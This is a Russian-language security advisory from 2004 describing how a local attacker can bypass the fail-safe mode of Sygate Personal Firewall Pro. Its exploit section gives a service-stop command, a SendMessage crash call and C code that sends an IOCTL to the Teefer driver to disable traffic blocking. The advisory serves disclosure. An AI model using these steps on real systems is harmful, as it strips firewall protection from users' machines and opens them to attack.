Обход режима защиты от сбоев в Sygate Personal Firewall PRO
- Дата публикации:
- 14.06.2004
- Всего просмотров:
- 2831
- Опасность:
- Низкая
- Наличие исправления:
- Количество уязвимостей:
- 1
- CVSSv2 рейтинг:
- CVE ID:
- Нет данных
- Вектор эксплуатации:
- Воздействие:
- CWE ID:
- Нет данных
- Наличие эксплоита:
- Нет данных
- Уязвимые продукты:
Описание: Обнаружена уязвимость в Sygate Personal Firewall Pro. Локальный атакующий может остановить службу smc.exe и обойти ограничения режима защиты от сбоев.
Режим защиты от сбоев обеспечивает блокирование всего трафика, если служба smc.exe не запущена. Наличие уязвимости подтверждено на ОС Windows 2000 и Windows XP.
Пример/Эксплоит:
Эта уязвимость может быть реализована следующим образом:
1. Если злонамеренная программа запущена с правами администратора, то службу smc.exe можно завершить следующим образом:
- net stop smcservice
- или используя Service Control Manager API.
2. Злонамеренная программа, которая запущена от имени непривилегированного пользователя, может использовать List-View Control в SPFP's GUI.
- SendMessage(hHdrControl, HDM_GETITEMRECT, 1, (LPARAM)NON-WRITABLE_ADDR);
Когда служба smc.exe будет остановлена, режим защиты от сбоев можно обойти следующим образом:
hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hDevice == INVALID_HANDLE_VALUE)
{
printf("Open failed\n");
}
else
{
printf("Device opened.\n");
char buffer[8];
DWORD *ptr = (DWORD *)buffer;
DWORD *ptr2 = (DWORD *)(buffer + 4);
DWORD ret;
*ptr = 0;
*ptr2 = 0;
if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0))
printf("Sent.\n");
CloseHandle(hDevice);
}
URL производителя: http://soho.sygate.com/products/spf_pro.htm
Решение:
Решения этой проблемы не существует
Ссылки:
Sygate Personal Firewall PRO Fail-Safe Bypass Vulnerability